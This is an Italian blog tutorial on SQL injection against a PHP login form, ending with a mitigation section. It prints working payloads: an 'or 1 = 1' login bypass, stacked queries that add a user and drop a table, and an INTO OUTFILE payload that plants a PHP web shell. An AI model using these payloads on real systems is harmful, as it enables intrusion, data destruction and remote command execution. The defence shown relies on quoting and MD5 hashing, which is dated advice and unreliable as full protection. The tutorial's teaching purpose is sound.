SQL Injection

sql_injectionBig2

 

Salve a tutti! In uno dei post precedenti, vi abbiamo parlato di una famosa vulnerabilità che si può trovare all’interno di un sito web, ossia Cross-site scripting, in cui consisteva nello sfruttare gli input utente per inserire del codice html. In tal modo, se quell’input veniva poi mostrato senza essere opportunamente filtrato, il browser del client processava il codice html “maligno”.
Questa è solo una delle possibili vulnerabilità che un sito internet può avere.
In questo post, ve ne mostreremo un’altra, anch’essa molto famosa, ossia SQL Injection.

Cos’è SQL Injection e come funziona
Come accadeva per l’xss, anche in questo caso viene sfruttato l’input dell’utente.
Come possiamo intuire dal nome della vulnerabilità, essa consiste nell’inserire del codice SQL ad hoc, in un normale input (per esempio il login di un sito).
Una volta inserito questo determinato codice, sarà possibile manipolare la base di dati come si vuole, ed eventualmente manipolare anche il sito web stesso.

Partiamo con un esempio per capire bene di cosa si tratta.
Supponiamo di essere su una pagina che richiede il nostro login, con i soliti username e password.
Normalmente, l’utente, inserisce i propri dati negli input, e poi clicca sul tasto login.
Una volta cliccato, di solito parte una richiesta al server che ospita il sito, e richiede, ad esempio, di verificare che l’username esista, e che la password sia corretta. Infine, in base ai controlli effettuati, il server reindirizzerà l’utente nella pagina corretta, per esempio nella homepage del sito se il login ha avuto successo, invece, in caso di login errato, mostrerà una pagina di errore.
Il controllo appena spiegato, viene effettuato utilizzando delle informazioni prese da un database. Tali informazioni sono ottenute attraverso delle “query” in linguaggio SQL.

Banalmente la “query” potrebbe essere come la seguente:

 

select * from users where username like 'daniele' and password like 'password'

 

Una volta ottenute le informazioni bisogna processarle, per determinare se l’utente può loggarsi o meno.
Qui di seguito potete vedere un esempio in “php”, che con una “query” chiede al database le informazioni sull’utente che si sta loggando:

 

function verifica_utente($username, $password) {
    $db = connect_to_db();
    $password = md5($password);
    $ris = $db->query("select * from utenti 
        where username like '$username' and password like '$password'");
    if($ris->rowCount() == 0)
        return FALSE;
    return TRUE;
}

 

In sintesi, la query scritta prima, chiede al database di prendere tutti gli utenti dalla tabella users che hanno il campo username uguale a 'daniele' e la password uguale a ‘password’.
In caso di corrispondenza, il database tornerà tutte le righe corrispondenti ai dati richiesti, ossia ci sarà almeno una riga, quindi la funzione scritta sopra ritornerà TRUE.
Se questa query non trova nessun elemento nella tabella, allora non tornerà nessuna riga, e quindi la funzione sopra ritornerà FALSE, con un eventuale reindirizzamento ad una pagina di errore, ad esempio mostrando la scritta: “Il nome utente o la password inseriti sono errati”.

Il procedimento appena descritto è ciò che normalmente ci si aspetta da pagine di questo tipo.
Supponiamo ora che gli input del login siano vulnerabili ad attacchi SQL injection, e che un utente voglia loggarsi con il seguente username “anch'io”.
La funzione scritta sopra, si bloccherà, mostrando un errore simile al seguente:

 

Fatal error: Call to a member function rowCount() on a non-object in /opt/lampp/htdocs/tuxManiacs/sqlInjection/login.php on line 24

 

Cosa è successo di preciso? Idealmente sembra tutto corretto, poiché un utente mette un nome nel campo username e una password nell’altro campo, ma nonostante tutto ha dato errore.
Per capire meglio cos’è accaduto, proviamo a scrivere la query che è stata processata dalla funzione scritta sopra:

 

select * from users where username like 'anch'io' and password like 'password'

 

se la osserviamo attentamente, possiamo notare che viene confrontato username con 'anch'io' , dove giustamente l’apice si apre prima della “a”, ma viene chiuso dopo la lettera “h”!
Questa anomalia, fa comportare in modo anomalo il resto della query, poiché io viene visto come sintassi SQL, eand password like viene visto come una stringa!
In poche parole, per colpa di un apice, la nostra query non ha più un senso logico!

La cosa più grave è che noi possiamo manipolare questa query in modo da garantirci ugualmente un accesso al sito.
Provando infatti a scrivere questa stringa nel campo username:

 

user' or 1 = 1 #

 

e una password a caso, riusciremo ad ottenere lo stesso l’accesso, poiché la query che viene vista è la seguente:

 

select * from users where username like 'user' or 1 = 1 # and password like 'password'

 

dove il carattere # indica l’inizio di un commento, in modo tale da ignorare il controllo sulla password.
Invece nella prima parte, la query prima valuta se esiste l’username user, e poi valuta se 1 = 1.
Ovviamente la seconda condizione è vera, ed essendo in or con la prima, rende vera tutta la condizione della where, ritornando così tutte le righe della tabella users, garantendoci l’accesso.

Possiamo limitarci ad ottenere solo l’accesso? Ovviamente no! Basta un po’ di fantasia, e l’SQL injection può essere utilizzato in svariati modi.
L’SQL è davvero molto potente, si possono fare davvero tante cose. Ad esempio come input potremmo mettere il seguente:

 

user'; insert into utenti values ('utentenuovo', md5('prova')) #

 

inserendo l’utente utentenuovo con password prova all’interno della tabella utenti.
Possiamo manipolare anche la base di dati! Ad esempio inserendo nuove tabelle:

 

user'; create table `tab1`(colonna1 varchar(20), colonna2 varchar(30)) #

 

Oppure, peggio ancora, possiamo anche cancellarle!

 

user'; drop table tab1 #

 

in questo modo abbiamo cancellato la tabella precedentemente creata.
La questione potrebbe diventare disastrosa se la directory del sito ha anche i permessi di scrittura, e altre protezioni disabilitate. Ad esempio con il seguente input:

 

user'; select '<?php system($_GET[''cmd'']); ?>' into outfile '/opt/lampp/htdocs/tuxManiacs/sqlInjection/shell.php' #

 

possiamo creare una nuova pagina php, che prende come parametro GET i comandi della shell, e li mostra nella pagina.
In poche parole ci siamo creati una shell sfruttando l’sql injection!
Ovviamente, nel 99% dei casi, le directory non hanno tutti questi permessi. Però questo non vuol dire che una cosa del genere non si possa fare, infatti basta fare qualche ricerca su Google e troveremo svariate guide a riguardo.

 

Prevenire è meglio che curare
Ora torniamo a noi.
Abbiamo notato che il problema ruota tutto intorno ad un singolo apice, una specie di “effetto farfalla”, citando un saggio di Turing:

 

« Lo spostamento di un singolo elettrone per un miliardesimo di centimetro, a un momento dato, potrebbe significare la differenza tra due avvenimenti molto diversi, come l'uccisione di un uomo un anno dopo, a causa di una valanga, o la sua salvezza. »

 

nel nostro caso, per colpa di questo apice possiamo arrivare a situazioni problematiche, se non disastrose.
Quindi ci basterà gestire correttamente l’input della query, in modo tale che l’apice sia processato sempre nel modo corretto.
Ci sono diversi modi per fare questo.
Un modo è utilizzare la seguente funzione:

 

mysql_real_escape_string

 

oppure, se si utilizza la classe PDO di php, come nell’esempio che vi ho mostrato sopra, possiamo utilizzare la semplice funzione quote, riscrivendo il codice in questo modo:

 

function verifica_utente($username, $password) {
    $db = connect_to_db();
    $password = md5($password);
    $username = $db->quote($username);
    $password = $db->quote($password);
    $ris = $db->query("select * from utenti 
        where username like $username and password like $password");
    if($ris->rowCount() == 0)
        return FALSE;
    return TRUE;
}

 

Questa funzione si occupa di mettere essa stessa gli apici dove servono, infatti nella query abbiamo tolto gli apici tra $username e $password.

Abbiamo visto quanto sia devastante non gestire bene le interrogazioni al database, e come rendere la nostra applicazione web sicura da questi tipi di attacchi.
Inoltre abbiamo notato che utilizzando l’SQL injection, si possono manipolare anche i file. A questo proposito, noi di Tux Maniacs, vi consigliamo di configurare al meglio il vostro server web. Per saperne di più sulle configurazioni vi consigliamo la lettura di questo nostro post.

FONTI:
- Immagini Joel Garia;

Dottore in Informatica. Da sempre appassionato di Linux, reti informatiche, sicurezza e, in modo amatoriale, all'elettronica. Il mio intento è quello di trasmettere le mie conoscenze ad altri appassionati.

Lascia un commento